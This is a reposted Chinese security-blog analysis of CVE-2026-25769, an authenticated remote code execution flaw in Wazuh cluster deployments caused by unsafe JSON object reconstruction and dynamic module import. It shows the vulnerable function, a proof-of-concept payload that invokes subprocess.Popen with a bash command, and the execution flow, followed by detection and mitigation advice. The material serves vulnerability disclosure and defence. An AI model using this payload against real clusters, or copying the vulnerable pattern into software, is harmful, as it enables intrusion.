2026-05-14 14:15:17 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档分析了WazuhXDR/SIEM平台中存在的已认证远程代码执行漏洞CVE-2026-25769，其核心问题在于集群通信中使用不安全对象反序列化机制，允许攻击者通过控制JSON数据动态导入Python模块并执行任意命令。漏洞利用需要入侵worker节点，但利用稳定性高且无需绕过内存保护。文档提出了防御建议包括禁用动态对象重建、采用零信任架构及限制高危模块导入，并指出该类漏洞在自治系统中具有普遍性。 综合评分： 82 文章分类： 漏洞分析,WEB安全,安全建设,解决方案,应用安全

cover_image

通过不安全反序列化导致的远程代码执行：Wazuh XDR/SIEM（CVE-2026–25769）

haidragon haidragon

安全狗的自我修养

2026年5月12日 15:19 中国香港

在小说阅读器读本章

去阅读

官网：http://securitytech.cc

#

对影响 Wazuh 集群部署的已认证远程代码执行漏洞进行技术分析，该漏洞源于不安全的对象反序列化与不安全的动态模块加载（CVE-2026–25769）。

Wazuh 是一个开源的 XDR/SIEM 平台，提供终端监控、威胁检测、日志聚合、分布式遥测采集以及跨集群基础设施的安全编排能力。该平台支持多节点部署，包括 master 节点与 worker 节点，通过认证且加密的内部集群通道进行通信。

本研究分析了集群通信中存在漏洞的对象重建机制，展示攻击者控制的 JSON 结构如何影响 Python 运行时行为，并分析认证的 worker 节点如何通过不安全的反射式对象加载，在 master 节点上实现任意命令执行。

该漏洞揭示了分布式安全系统、编排框架以及自治基础设施平台中越来越普遍的一个架构问题：认证内部组件之间的隐式信任与动态运行时执行机制的结合。

技术分析

漏洞概述

CVE-2026–25769 是一个影响 Wazuh 集群部署的已认证远程代码执行漏洞。

漏洞来源于内部集群通信中的不安全对象重建逻辑，攻击者可通过控制 JSON 数据影响：

Python 模块导入
运行时类解析
对象实例化行为
可执行构造函数

最终可在集群 master 节点上实现任意操作系统命令执行。

漏洞分类

CWE-502：不可信数据的反序列化
CWE-470：使用外部控制输入选择类或代码
CWE-94：代码生成控制不当

集群架构

Wazuh 集群由以下组件构成：

master 协调节点
分布式 worker 节点
终端 agent
内部 RPC 风格通信机制

worker 节点同步：

安全事件
配置更新
任务执行
编排状态

通过加密的集群消息通道进行通信。

核心问题在于：master 节点隐式信任已认证 worker 提交的可执行对象元数据。

存在漏洞的对象重建机制

漏洞核心在于函数：

as_wazuh_object()

其逻辑类似如下：

from importlib import import_module

def as_wazuh_object(dct): if ‘wazuh_object‘ in dct: metadata = dct[‘wazuh_object‘]

```
&nbsp; &nbsp; module_name = metadata['__module__']
&nbsp; &nbsp; class_name = metadata['__class__']

&nbsp; &nbsp; module = import_module(module_name)
&nbsp; &nbsp; cls = getattr(module, class_name)

&nbsp; &nbsp; return cls(*metadata.get('args', []))

“`

该流程存在严重风险：

攻击者控制的 JSON → 动态模块导入 → 运行时类解析 → 不安全对象构造 → 任意执行行为

反序列化层实际上将 Python 的反射机制直接暴露给攻击者输入。

不安全动态导入

危险点在于：

import_module(user_controlled_module)

以及：

getattr(module, user_controlled_class)

动态导入通常用于：

插件系统
可扩展架构
编排框架
RPC 处理器

但如果模块或类名由外部输入控制，就会使 Python 解释器本身变成攻击面。

Python 运行时滥用

与传统内存破坏漏洞不同，Python 反序列化漏洞通常依赖：

反射执行
可执行构造函数
导入时行为
运行时对象解析

Python 标准库中本身就存在许多可执行原语：

subprocess.Popen
os.system
pty.spawn
multiprocessing.Process
runpy
pickle
code

因此利用门槛较低。

利用方式

初始条件

攻击者需要：

worker 节点被入侵
获取集群凭证
拥有认证通信能力

尽管需要认证，但现实中仍然可行：

边缘系统更容易先被攻破
worker 暴露面更大
内部信任较弱
分布式结构增加横向移动机会

恶意载荷示例

攻击者可构造如下 JSON：

{ “wazuh_object“: { “module“: “subprocess”, “class“: “Popen”, “args”: [ [“/bin/bash”, “-c”, “id > /tmp/pwned”] ] } }

在漏洞路径下最终等价执行：

subprocess.Popen( [“/bin/bash”, “-c”, “id > /tmp/pwned”] )

执行流程

第一步：接收集群消息

message = receive_cluster_message()

第二步：解析 JSON

obj = json.loads(message)

第三步：对象重建

restored = as_wazuh_object(obj)

第四步：动态导入

module = import_module(“subprocess”)

第五步：类解析

cls = getattr(module, “Popen”)

第六步：执行命令

cls([“/bin/bash”, “-c”, “id”])

最终导致任意命令执行。

subprocess.Popen 的危险性

subprocess.Popen 在反序列化场景中非常危险，因为：

在构造函数阶段即执行行为
参数直接控制命令执行
不需要额外方法调用
行为确定性强

可靠性分析

该漏洞利用非常稳定，因为：

不需要绕过 ASLR
不需要 shellcode
没有竞态条件
没有内存破坏
利用的是正常运行时行为

Fernet 加密分析

集群通信使用 Fernet 加密：

encrypted = fernet.encrypt(payload)

但加密只能保护：

机密性
完整性
认证

无法验证：

运行时安全性
对象合法性
执行行为

因此加密并不能阻止漏洞利用。

信任边界崩溃

核心问题是内部组件之间的隐式信任：

认证 worker ≈ 可信 worker

一旦 worker 被攻破：

集群通信成为攻击面
编排通道变成执行通道
内部信任变成横向提权路径

检测机会

异常模块导入

例如：

subprocess
pty
socket
os

出现在集群处理流程中应重点关注。

子进程异常创建

异常 fork / exec / clone 行为值得调查。

异常 JSON 结构

非常规对象元数据
模块引用异常
结构畸形或过大 payload

防御建议

禁止运行时对象重建

避免：

外部输入控制 import
动态类解析
不安全反射

使用：

白名单机制
严格 schema
静态映射

内部组件采用零信任

认证 ≠ 信任

内部组件也必须限制：

执行权限
编排能力
反序列化能力

限制高危能力

应限制：

subprocess
importlib
pickle
eval
exec

更广泛影响

该类问题也出现在：

AI agent 框架
自动化编排系统
SOAR 平台
分布式执行管道
自主执行框架

核心模式：

结构化输入 → 动态能力解析 → 运行时执行

随着自治系统增加，这类漏洞会越来越普遍。

公众号:安全狗的自我修养
vx:2207344074
http://gitee.com/haidragon
http://github.com/haidragon
bilibili:haidragonx

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：安全狗的自我修养 haidragon haidragon《通过不安全反序列化导致的远程代码执行：Wazuh XDR/SIEM（CVE-2026–25769）》